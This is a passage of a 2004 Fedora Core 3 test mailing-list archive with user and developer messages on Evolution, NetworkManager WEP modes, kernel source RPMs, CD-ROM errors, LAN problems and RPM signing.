<1099664154.23763.15.camel@spike-home.comcast.net> References: <1099664154.23763.15.camel@spike-home.comcast.net> Message-ID: <20041105142030.GZ8596@redhat.com> On Fri, Nov 05, 2004 at 07:15:54AM -0700, Christopher A. Williams wrote: > I don't know if this is a reported bug or not, but EV 2.0.2 in FC3T3 > seems to randomly fail displaying certain HTML formatted messages. Now I > know some of you will think this may not be necessarily bad , but > think of it at it appears to not be working as designed or intended. Sounds like bug #134308: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=134308 Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... 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The timing of an Ethernet card dying at the same time as an OS > upgrade is pretty bizarre though. > > Good luck, keep us posted! > Mark, Thanks for the suggestion, however I know the nic (it is an onboard VIA gigabit nic running on my 100mbps lan) works okay because it was running fine under Win 2003 Server until yesterday evening and it also works fine when using a Knoppix cd. I don't have a spare hub I'm afraid, I'm pretty much stuck with the configuration that I have. I presume if I run ethereal from my FC2 box it will not pick up anything "interesting" that is being broadcast from the FC3 box? What things should I check on the FC3 box, are there any log files that will show what happens during boot etc? Regards, Marc From dcbw at redhat.com Fri Nov 5 14:45:04 2004 From: dcbw at redhat.com (Dan Williams) Date: Fri, 05 Nov 2004 09:45:04 -0500 Subject: NetworkManager Issues In-Reply-To: <1099611731.4065.89.camel@localhost.localdomain> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> Message-ID: <1099665904.6665.1.camel@dcbw.boston.redhat.com> On Thu, 2004-11-04 at 18:42 -0500, Peter Jones wrote: > I *think* this is because ipw's drivers don't set "open" when you set a > key by default, and networkmanager is expecting that all drivers do it > that way, but I haven't investigated this very thoroughly. When you do the ioctl() to set the key, you pass in some flags. I currently use Shared Key (IW_ENCODE_RESTRICTED) in that field, so NM attempts to set the mode explicitly. It may be a driver issue though. Dan From tjb at unh.edu Fri Nov 5 14:37:47 2004 From: tjb at unh.edu (Thomas J. Baker) Date: Fri, 05 Nov 2004 09:37:47 -0500 Subject: video=radeonfb being Inspiron 600m suspend Message-ID: <1099665467.17729.3.camel@wintermute.sr.unh.edu> I'm attempting to get some version of suspend working on a Dell 600m laptop. I've read that I first should be using the radeonfb device but specifying "video=radeonfb" on the kernel command line doesn't seem to take affect. I've rebuilt the initrd using --preload-module=radeonfb but that doesn't seem to help. Modprobing radeonfb after boot does seem to work though. I know I could just modprobe it in rc.modules and if that's the only way, I'll do it but it seems like it should work similiar to how vga=792 makes the vesafb work. Any ideas on the radeonfb? Any hope of getting some type of suspend working on an Inspiron 600m without custom kernels? Thanks, tjb -- ======================================================================= | Thomas Baker email: tjb at unh.edu | | Systems Programmer | | Research Computing Center voice: (603) 862-4490 | | University of New Hampshire fax: (603) 862-1761 | | 332 Morse Hall | | Durham, NH 03824 USA http://wintermute.sr.unh.edu/~tjb | ======================================================================= From cra at WPI.EDU Fri Nov 5 14:52:23 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Fri, 5 Nov 2004 09:52:23 -0500 Subject: FC3 box brings lan to its knees In-Reply-To: <1099664968.418b8e48e5817@www.riddlermarc.net> References: <1099664968.418b8e48e5817@www.riddlermarc.net> Message-ID: <20041105145223.GA24242@angus.ind.WPI.EDU> On Fri, Nov 05, 2004 at 02:29:28PM +0000, Marc McAllister wrote: > I don't have a spare hub I'm afraid, I'm pretty much stuck with the > configuration that I have. I presume if I run ethereal from my FC2 box it will > not pick up anything "interesting" that is being broadcast from the FC3 box? The FC2 box should pick up broadcasts, but not unicasts after the first one when the switch first learns where each MAC address is. You could also try running ethereal on the FC3 box itself--it should then capture all traffic. > What things should I check on the FC3 box, are there any log files that will > show what happens during boot etc? Try ethtool and/or mii-diag to see what speed/duplex the NIC is running at. Compare that with the lights on the switch to see if the speed and duplex are matched at both ends of the link. If they mismatch, then many errors could be generated. From cmkrnl at speakeasy.net Fri Nov 5 14:54:36 2004 From: cmkrnl at speakeasy.net (Andrew) Date: Fri, 05 Nov 2004 14:54:36 +0000 Subject: Something very strange is happening... Message-ID: > I'm using FC3t3 which is updated daily. I'm also using the current > kernel version. > > I decided to continue archiving my old collection of CDs this morning > and as always, fired up grip. It reported that /dev/cdrom was not a > valid device any more (it is). It also didn't like /media/cdrom as a > device name. > It was reported yesterday that the RAWHIDE version of udev (039-8) eats /dev/cdrom. If you are running udev-039-8 then you need to up to -10 (which did *not* come out of the build system today :-( or back to -6. See this message http://www.redhat.com/archives/fedora-devel-list/2004-November/msg00096.html Andrew From jspaleta at gmail.com Fri Nov 5 14:58:00 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 5 Nov 2004 09:58:00 -0500 Subject: FC3 box brings lan to its knees In-Reply-To: <1099662887.418b862741ec4@www.riddlermarc.net> References: <1099662887.418b862741ec4@www.riddlermarc.net> Message-ID: <604aa79104110506585c27914f@mail.gmail.com> On Fri, 5 Nov 2004 13:54:47 +0000, Marc McAllister wrote: > My setup: > > ADSL modem/router > | > 5-port switch > | > ------------------------- > | | | > XP box FC2 box FC3 x86_64 box (AMD64) > > The FC3 Test 3 box used to be running 2003 Server and it worked fine, I have > used exactly the same network settings as before. Basic information time: +What kernel is the fc3test box running? +Your adsl modem is giving you lan ip addresses via DHCP? or are they static addresses? +Does the problem on the other computers go away when you start the network on the fc3test box but the cable is left in? /sbin/service network stop +With the network active on the fc3test box, what does /sbin/ifconfig report what does /sbin/route report +What Ethernet controller string does /sbin/lspci report for that onboard nic? -jef From ron.flory at adtran.com Fri Nov 5 15:09:09 2004 From: ron.flory at adtran.com (RON FLORY) Date: Fri, 05 Nov 2004 09:09:09 -0600 Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm In-Reply-To: References: Message-ID: <418B9795.5080104@adtran.com> This may be covered in a FAQ, README or DOC somewhere, but I've not been able to find it... If FC3T3rc5 was not intended to contain the necessary data to reconstruct the source tree, then i apologize in advance... I disagree with moving the kernel-source RPM from the install disks to the SRPMS anyway, but kernel-2.6.9-1.649.src.rpm does not appear to contain data necessary to reconstruct the kernel source tree as shipped in the FC3T3rc5 - its not even close. - This SRPM contains many patch files, but none of them result in a 2.6.9-1.649 kernel source tree. - There is no README. - There are two different 'final' tar.bz2 patch sets- which is real? - Some of the patches appear to be against very old versions of the kernel, not against 2.6.9 . - this RPM contains the original 2.6.9 tarfile as found on kernel.org. - applying the 'final' patches against the 2.6.9 source tree results in several warnings and 'reversed' patches. - I would suggest providing a script to install/patch the kernel. There needs to be an easy-to install kernel-source RPM (like there used to be under RHL) for newbies, i.e., one that installs an exact image of the kernel sources in /usr/src/linux-x.y.z-n.mmm without requiring the user to guess which patches to install, or even how to apply these patches, otherwise the same 'how do I reconstruct the kernel sources' questions will appear over and over and over.... Aside from this, FC3T3c5 looks pretty good. ron From rpa4email at rogers.com Fri Nov 5 15:10:39 2004 From: rpa4email at rogers.com (Robert Couture) Date: Fri, 05 Nov 2004 10:10:39 -0500 Subject: KMail Links + Firefox Browser In-Reply-To: <200411050101.52142.linxt@comcast.net> References: <200410171218.00616.rpa4email@rogers.com> <200411050101.52142.linxt@comcast.net> Message-ID: <1099667440.22255.4.camel@RuneLinux.tamn.local> On Fri, 2004-05-11 at 01:01 -0800, Thomas Taylor wrote: > > http://i2o.shadowconnect.com/fedora.php > > > > Has anyone else experienced this? If so has it been bugzilla'd and where > > should itr be reported, Redhat or upstream? > Don't recall seeing a response to this so I'll pass along an idea. Open up > Control Center > KDE components > File associations > text > html. In the > "Application Precedence Order" dialog box select firefox & edit. In the > "Application" tab, add %u to the end of the command: so it reads > "/usr/bin/firefox %u". > > That SHOULD get it to work. Yes, thank-you. Was this filed with bugzilla. I would think that this should be to prevent others having this problem. Robert. From arjanv at redhat.com Fri Nov 5 15:14:48 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 05 Nov 2004 16:14:48 +0100 Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm In-Reply-To: <418B9795.5080104@adtran.com> References: <418B9795.5080104@adtran.com> Message-ID: <1099667688.2814.16.camel@laptop.fenrus.org> > - I would suggest providing a script to install/patch the > kernel. like.. the spec file ? which you then can execute with "rpmbuild -bp --target noarch kernel-2.6.spec" -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From whooperhsd3 at earthlink.net Fri Nov 5 15:16:38 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Fri, 5 Nov 2004 10:16:38 -0500 (EST) Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm In-Reply-To: <418B9795.5080104@adtran.com> References: <418B9795.5080104@adtran.com> Message-ID: <2961.12.29.16.103.1099667798.squirrel@whooper.org> RON FLORY said: > This may be covered in a FAQ, README or DOC somewhere, but > I've not been able to find it... Read the release notes. -- William Hooper From chrisw01 at privatei.com Fri Nov 5 15:21:14 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Fri, 05 Nov 2004 08:21:14 -0700 Subject: Evolution 2.0.2 Doesn't Display Certain Messages In-Reply-To: <20041105142030.GZ8596@redhat.com> References: <1099664154.23763.15.camel@spike-home.comcast.net> <20041105142030.GZ8596@redhat.com> Message-ID: <1099668074.24631.0.camel@spike-home.comcast.net> On Fri, 2004-11-05 at 14:20 +0000, Tim Waugh wrote: > On Fri, Nov 05, 2004 at 07:15:54AM -0700, Christopher A. Williams wrote: > > > I don't know if this is a reported bug or not, but EV 2.0.2 in FC3T3 > > seems to randomly fail displaying certain HTML formatted messages. Now I > > know some of you will think this may not be necessarily bad , but > > think of it at it appears to not be working as designed or intended. > > Sounds like bug #134308: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=134308 > Thanks - I added my comments to this bug. Cheers, Chris -- ====================== When the solution is simple, God is answering. -- Albert Einstein From dcbw at redhat.com Fri Nov 5 15:29:29 2004 From: dcbw at redhat.com (Dan Williams) Date: Fri, 05 Nov 2004 10:29:29 -0500 Subject: Network manager restart.. In-Reply-To: <418A309D.1080402@amberpoint.com> References: <418A309D.1080402@amberpoint.com> Message-ID: <1099668569.6665.10.camel@dcbw.boston.redhat.com> On Thu, 2004-11-04 at 05:37 -0800, Bikehead wrote: > I can make my network manager die fairly consitently, by disconnecting > and reconnecting my wired ethernet in order to force the network manager > to switch to my internal wireless card and back. The desktop icon > disappears and "service NetworkManger status" reports the service is > dead. I restart it and it seems to start fine with "service > NetworkManger status" reporting the service alive. However, I can't get > the desktop icon back. What's the best way to do that? The desktop icon is controlled by NetworkManagerInfo, which is started by your gnome session. 0.3.1-3 should help out with the crashes somewhat, but I'll be releasing a much better version shortly after FC3 ships as an update. RelEng isn't taking major updates for FC3 at this time. I believe that the crash-when-switching bugs are mostly squashed now in CVS. For the desktop icon issue, just run "NetworkManagerInfo" from a terminal and it will come back. Dan From ron.flory at adtran.com Fri Nov 5 15:50:49 2004 From: ron.flory at adtran.com (RON FLORY) Date: Fri, 05 Nov 2004 09:50:49 -0600 Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm In-Reply-To: <2961.12.29.16.103.1099667798.squirrel@whooper.org> References: <418B9795.5080104@adtran.com> <2961.12.29.16.103.1099667798.squirrel@whooper.org> Message-ID: <418BA159.9020303@adtran.com> William Hooper wrote: > RON FLORY said: > >>This may be covered in a FAQ, README or DOC somewhere, but >>I've not been able to find it... > > > Read the release notes. $@&!, i read them and missed it 3 times (my fault)... I'm used to building released sources from kernel.org, never the RPM. 1. The specified filename in the release notes is incorrect ( kernel.spec --> kernel-2.6.spec ) 2. There needs to be a hint of supported arch's in the release notes. 3. supplying a value of 'all_x86', (which i had to guess at by reviewing the specs file), assuming it was the lowest-common denominator for x86 tree failed. 'i686' seems to work. 4. placing the kernel tree in a non-standard location will cause some apps to not compile, why isn't it moved to /usr/src/ ? 5. kernel version is 2.6.9-prep, not 2.6.9-1.649. is this right? ron From ziga.mahkovec at klika.si Fri Nov 5 16:02:40 2004 From: ziga.mahkovec at klika.si (Ziga Mahkovec) Date: Fri, 05 Nov 2004 17:02:40 +0100 Subject: NetworkManager Issues In-Reply-To: <1099665904.6665.1.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> Message-ID: <1099670560.6622.36.camel@serenity.klika.si> On Fri, 2004-11-05 at 09:45 -0500, Dan Williams wrote: > On Thu, 2004-11-04 at 18:42 -0500, Peter Jones wrote: > > I *think* this is because ipw's drivers don't set "open" when you set a > > key by default, and networkmanager is expecting that all drivers do it > > that way, but I haven't investigated this very thoroughly. > > When you do the ioctl() to set the key, you pass in some flags. I > currently use Shared Key (IW_ENCODE_RESTRICTED) in that field, so NM > attempts to set the mode explicitly. It may be a driver issue though. Yes, the NM-forced restricted mode was the issue I was talking about. But I'm perfectly OK with your explanation about why open system authentication makes things harder. Also, I see that you're adding some changes in CVS to enable it anyway. As for the ipw2100 driver -- versions 0.57+ now actually default to OPEN. But NM overrides this so no harm done. It does make life harder if you're using ifup scripts with shared key authentication though. I had to patch ifup-wireless to force restricted mode. Now if I could only get wpa_supplicant to work with my D-link/ipw2100 combo... -- Ziga From reader at newsguy.com Fri Nov 5 16:01:29 2004 From: reader at newsguy.com (Harry Putnam) Date: Fri, 05 Nov 2004 10:01:29 -0600 Subject: Mounting ntfs... possible rw In-Reply-To: <63a30f4d0411050336204cb75e@mail.gmail.com> (Folke Lemaitre's message of "Fri, 5 Nov 2004 12:36:07 +0100") References: <63a30f4d0411050336204cb75e@mail.gmail.com> Message-ID: Folke Lemaitre writes: > RW works perfect for me! > No problems watsoever... I had hoped for a little detail... Did you have to do anything special regarding kernel compile? Can you delete files on the mounted ntfs partition. Can you create and write to a new file? From cra at WPI.EDU Fri Nov 5 16:06:09 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Fri, 5 Nov 2004 11:06:09 -0500 Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm In-Reply-To: <418BA159.9020303@adtran.com> References: <418B9795.5080104@adtran.com> <2961.12.29.16.103.1099667798.squirrel@whooper.org> <418BA159.9020303@adtran.com> Message-ID: <20041105160609.GQ1373@angus.ind.WPI.EDU> On Fri, Nov 05, 2004 at 09:50:49AM -0600, RON FLORY wrote: > 4. placing the kernel tree in a non-standard location will cause > some apps to not compile, why isn't it moved to /usr/src/ ? /usr/src isn't the correct/standard location for programs to be compiling against, and hasn't been for years. The correct location is: /lib/modules/`uname-r`/build/include Note that user space programs should NEVER use kernel headers, either in /usr/src or in /lib/modules. Only kernel modules should ever need to use /lib/modules. From cra at WPI.EDU Fri Nov 5 16:08:22 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Fri, 5 Nov 2004 11:08:22 -0500 Subject: NetworkManager Issues In-Reply-To: <1099670560.6622.36.camel@serenity.klika.si> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099670560.6622.36.camel@serenity.klika.si> Message-ID: <20041105160822.GR1373@angus.ind.WPI.EDU> On Fri, Nov 05, 2004 at 05:02:40PM +0100, Ziga Mahkovec wrote: > As for the ipw2100 driver -- versions 0.57+ now actually default to > OPEN. But NM overrides this so no harm done. It does make life harder > if you're using ifup scripts with shared key authentication though. I > had to patch ifup-wireless to force restricted mode. Shared Key auth is worse than no authentication/encryption at all. Anyone with a clue will be using Open System. I don't think we should put too much effort into making Shared Key easy to use. From tjb at unh.edu Fri Nov 5 16:09:18 2004 From: tjb at unh.edu (Thomas J. Baker) Date: Fri, 05 Nov 2004 11:09:18 -0500 Subject: video=radeonfb being ignored on command line, Inspiron 600m suspend In-Reply-To: <1099665467.17729.3.camel@wintermute.sr.unh.edu> References: <1099665467.17729.3.camel@wintermute.sr.unh.edu> Message-ID: <1099670958.17729.8.camel@wintermute.sr.unh.edu> On Fri, 2004-11-05 at 09:37 -0500, Thomas J. Baker wrote: > I'm attempting to get some version of suspend working on a Dell 600m > laptop. I've read that I first should be using the radeonfb device but > specifying "video=radeonfb" on the kernel command line doesn't seem to > take affect. I've rebuilt the initrd using --preload-module=radeonfb but > that doesn't seem to help. Modprobing radeonfb after boot does seem to > work though. I know I could just modprobe it in rc.modules and if that's > the only way, I'll do it but it seems like it should work similiar to > how vga=792 makes the vesafb work. > > Any ideas on the radeonfb? Any hope of getting some type of suspend > working on an Inspiron 600m without custom kernels? > > Thanks, > Fixed the subject since I butchered it. tjb -- ======================================================================= | Thomas Baker email: tjb at unh.edu | | Systems Programmer | | Research Computing Center voice: (603) 862-4490 | | University of New Hampshire fax: (603) 862-1761 | | 332 Morse Hall | | Durham, NH 03824 USA http://wintermute.sr.unh.edu/~tjb | ======================================================================= From pjones at redhat.com Fri Nov 5 16:06:31 2004 From: pjones at redhat.com (Peter Jones) Date: Fri, 05 Nov 2004 11:06:31 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099633316.8125.47.camel@binkley> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <1099633316.8125.47.camel@binkley> Message-ID: <1099670791.4213.12.camel@localhost.localdomain> On Fri, 2004-11-05 at 00:41 -0500, seth vidal wrote: > This, obviously, begins setting up the infrastructure to allow a user to > add their own value to specific keys. > > Thoughts? It still lacks any method for a package source to tell a user what the signature means. There's no discovery mechanism. -- Peter In these matters the only certainty is that there is nothing certain. -- Pliny the Elder From pjones at redhat.com Fri Nov 5 14:51:13 2004 From: pjones at redhat.com (Peter Jones) Date: Fri, 05 Nov 2004 09:51:13 -0500 Subject: NetworkManager Issues In-Reply-To: <1099665904.6665.1.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> Message-ID: <1099666273.4213.0.camel@localhost.localdomain> On Fri, 2004-11-05 at 09:45 -0500, Dan Williams wrote: > On Thu, 2004-11-04 at 18:42 -0500, Peter Jones wrote: > > I *think* this is because ipw's drivers don't set "open" when you set a > > key by default, and networkmanager is expecting that all drivers do it > > that way, but I haven't investigated this very thoroughly. > > When you do the ioctl() to set the key, you pass in some flags. I > currently use Shared Key (IW_ENCODE_RESTRICTED) in that field, so NM > attempts to set the mode explicitly. It may be a driver issue though. Right, but it never explicitly tries IW_ENCODE_OPEN . -- Peter There is no 8:00 AM in "team". From pjones at redhat.com Fri Nov 5 14:57:27 2004 From: pjones at redhat.com (pjones) Date: Fri, 05 Nov 2004 09:57:27 -0500 Subject: NetworkManager Issues In-Reply-To: <1099666273.4213.0.camel@localhost.localdomain> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099666273.4213.0.camel@localhost.localdomain> Message-ID: <1099666647.4213.2.camel@localhost.localdomain> On Fri, 2004-11-05 at 09:51 -0500, Peter Jones wrote: > On Fri, 2004-11-05 at 09:45 -0500, Dan Williams wrote: > > On Thu, 2004-11-04 at 18:42 -0500, Peter Jones wrote: > > > I *think* this is because ipw's drivers don't set "open" when you set a > > > key by default, and networkmanager is expecting that all drivers do it > > > that way, but I haven't investigated this very thoroughly. > > > > When you do the ioctl() to set the key, you pass in some flags. I > > currently use Shared Key (IW_ENCODE_RESTRICTED) in that field, so NM > > attempts to set the mode explicitly. It may be a driver issue though. > > Right, but it never explicitly tries IW_ENCODE_OPEN . Except I see this code has changed since last I looked; I'll see how it works now. -- Peter There is no 8:00 AM in "team". From pjones at redhat.com Fri Nov 5 16:10:35 2004 From: pjones at redhat.com (Peter Jones) Date: Fri, 05 Nov 2004 11:10:35 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099608341.31426.2.camel@one.myworld> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099608341.31426.2.camel@one.myworld> Message-ID: <1099671035.4213.15.camel@localhost.localdomain> On Thu, 2004-11-04 at 23:45 +0100, F?liciano Matias wrote: > Le jeudi 04 novembre 2004 ? 15:37 -0500, Peter Jones a ?crit : > > Also note that those which are signed are currently signed by hand, and > > one thing people have been advocating is automatic signing. Automatic > > signing, I'll obviously argue, is a total loss. > > What is a ssl server if it's not an automatic signing machine ? > Total loss... That's completely ignoring the contexts of package distribution and the policies put in place by current package update tools. None of them trust packages *just* because they are fetched over SSL, nor do they reject packages which aren't. -- Peter From pauljohn at ku.edu Fri Nov 5 16:15:57 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Fri, 05 Nov 2004 10:15:57 -0600 Subject: CDROM in FC3T3: beginning to panic, fearing that cd will never work! blame hal or kernel? Message-ID: <418BA73D.8040805@ku.edu> I'm getting more and more frustrated with the inability to mount cdroms in my Dell Inspiron laptop. This was an intermittent problem in FC2, and now with FC3 the problem happens every time. I filed a bug report in the bugzilla, and it was assigned, but I didn't see any response yet. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137831 In the meanwhile, I have decided to ask here for user advice. WHen I put in a disk, the cdrom device just grinds away and /var/log/messages shows this, repeated forever: Nov 5 09:58:50 pols111 kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 5 09:58:50 pols111 kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 5 09:58:50 pols111 kernel: hdc: DMA disabled Nov 5 09:58:50 pols111 kernel: hdc: ATAPI reset complete Nov 5 09:59:09 pols111 kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 5 09:59:09 pols111 kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 5 09:59:09 pols111 kernel: hdc: ATAPI reset complete Nov 5 09:59:15 pols111 su(pam_unix)[3293]: session closed for user root Nov 5 09:59:28 pols111 kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 5 09:59:28 pols111 kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 5 09:59:28 pols111 kernel: hdc: ATAPI reset complete The hardware and cd are fine, I can boot into WinXP and all is OK. As I browse the web, I see that this cd problem has occurred to a variety of users, and one frequent recommendation is to disable "autorun" by removing Gnome magicdev or KDE Autostart. In FC3T3, there is not "magicdev" anymore, but rather it is absorbed into "gnome-volume-manager" and I am afraid I don't know how to disable it. Even a "killall magicdev" does not help before inserting a cd. That's why I do not think the problem I see is an automount problem. I have gone into gconf-editor and turned off all of the cdrom automounting options. Even if I boot into runlevel 3--without gnome or kde--I still have the trouble when I insert a cdrom. I am beginning to think this is a hal problem, since hal is the new element. Or maybe udev. I've been using Linux a long time and I have never run into an insoluable problem, but this one is scaring me. So, if you have any ideas, I will gladly try them out. -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From cmkrnl at speakeasy.net Fri Nov 5 16:18:30 2004 From: cmkrnl at speakeasy.net (Andrew) Date: Fri, 05 Nov 2004 16:18:30 +0000 Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm Message-ID: > /usr/src isn't the correct/standard location for programs to be > compiling against, and hasn't been for years. The correct location > is: > > /lib/modules/`uname-r`/build/include > > Note that user space programs should NEVER use kernel headers, either > in /usr/src or in /lib/modules. Only kernel modules should ever need > to use /lib/modules. Although this is implied in your remark, I think it might be helpful to state it explicitly: Because kernel headers define interfaces, etc that are *private* to the kernel and kernel modules. To get the interfaces that are safe and published and *public* for user space programs the headers in /lib/modules/`uname -r`/build/include are the ones to be used for user space programs. Even open source programs need some privacy :-) Andrew From dcbw at redhat.com Fri Nov 5 16:30:26 2004 From: dcbw at redhat.com (Dan Williams) Date: Fri, 05 Nov 2004 11:30:26 -0500 Subject: NetworkManager Issues In-Reply-To: <20041105160822.GR1373@angus.ind.WPI.EDU> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099670560.6622.36.camel@serenity.klika.si> <20041105160822.GR1373@angus.ind.WPI.EDU> Message-ID: <1099672226.6665.17.camel@dcbw.boston.redhat.com> On Fri, 2004-11-05 at 11:08 -0500, Charles R. Anderson wrote: > On Fri, Nov 05, 2004 at 05:02:40PM +0100, Ziga Mahkovec wrote: > > As for the ipw2100 driver -- versions 0.57+ now actually default to > > OPEN. But NM overrides this so no harm done. It does make life harder > > if you're using ifup scripts with shared key authentication though. I > > had to patch ifup-wireless to force restricted mode. > > Shared Key auth is worse than no authentication/encryption at all. > Anyone with a clue will be using Open System. I don't think we should > put too much effort into making Shared Key easy to use. Charles, Why is it so much worse? Also, did you read my explanation of how its much much harder with Open System to figure out if the WEP key is wrong? That's the big sticking point here. If we can't automatically detect whether the WEP key is wrong or not (and waiting 30s for a failed DHCP certainly isn't "automatic"), then we might as well not even try to improve on the current system-config-network. Dan From dcbw at redhat.com Fri Nov 5 16:30:59 2004 From: dcbw at redhat.com (Dan Williams) Date: Fri, 05 Nov 2004 11:30:59 -0500 Subject: NetworkManager Issues In-Reply-To: <1099666647.4213.2.camel@localhost.localdomain> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099666273.4213.0.camel@localhost.localdomain> <1099666647.4213.2.camel@localhost.localdomain> Message-ID: <1099672259.6665.19.camel@dcbw.boston.redhat.com> On Fri, 2004-11-05 at 09:57 -0500, pjones wrote: > On Fri, 2004-11-05 at 09:51 -0500, Peter Jones wrote: > > On Fri, 2004-11-05 at 09:45 -0500, Dan Williams wrote: > > > On Thu, 2004-11-04 at 18:42 -0500, Peter Jones wrote: > > > > I *think* this is because ipw's drivers don't set "open" when you set a > > > > key by default, and networkmanager is expecting that all drivers do it > > > > that way, but I haven't investigated this very thoroughly. > > > > > > When you do the ioctl() to set the key, you pass in some flags. I > > > currently use Shared Key (IW_ENCODE_RESTRICTED) in that field, so NM > > > attempts to set the mode explicitly. It may be a driver issue though. > > > > Right, but it never explicitly tries IW_ENCODE_OPEN . > > Except I see this code has changed since last I looked; I'll see how it > works now. It still never sets IW_ENCODE_OPEN anywhere, I jsut added some code to be _able_ to do it. Dan From dag at wieers.com Fri Nov 5 16:46:31 2004 From: dag at wieers.com (Dag Wieers) Date: Fri, 5 Nov 2004 17:46:31 +0100 (CET) Subject: Public SPEC files please In-Reply-To: <20041105144141.536b0e96.fedora@wir-sind-cool.org> References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> Message-ID: On Fri, 5 Nov 2004, Michael Schwendt wrote: > On Fri, 5 Nov 2004 13:40:57 +0100 (CET), Dag Wieers wrote: > > > > > PS Some of it could even be "legally" required in the sense that eg. > > > > fedora.us started its amavisd-new package from my SPEC file and I can't > > > > even peek to see what exactly they have changed. Bugzilla has some broken > > > > links, but there it ends. No SRPM, no SPEC file, no clue :) > > > > > > fedora.us spec files have been available separately for a very long > > > time linked at the top of http://fedora.us > > > > > > http://www.fedora.us/tempspecs/ > > > > Well, those only contain the published RPMs SPEC files. My amavisd-new > > example is a real example. > > Ah, unpublished packages. That explains it. > https://bugzilla.fedora.us/show_bug.cgi?id=1496#c16 > > Well, if the packager's download site is not reachable, the package can't > be reviewed either. Maybe it's just a temporary problem. Maybe the > packager doesn't even know about it. You could add a comment to above > ticket and tell him. Some packagers also provide extracted spec files at > their download site. > > I think it's not in fedora.us' responsibility to make available spec files > of unpublished packages (which can be arbitrary packages in the package > queue). I beg to differ. If a work in progress is not part of fedora.us, then I wonder what fedora.us really is ? Only the end result ? How can 4 people work together if only 1 person can make commits ? How can fedora.us still claim working with other repositories results in much more overhead if they still work like this ? How can you 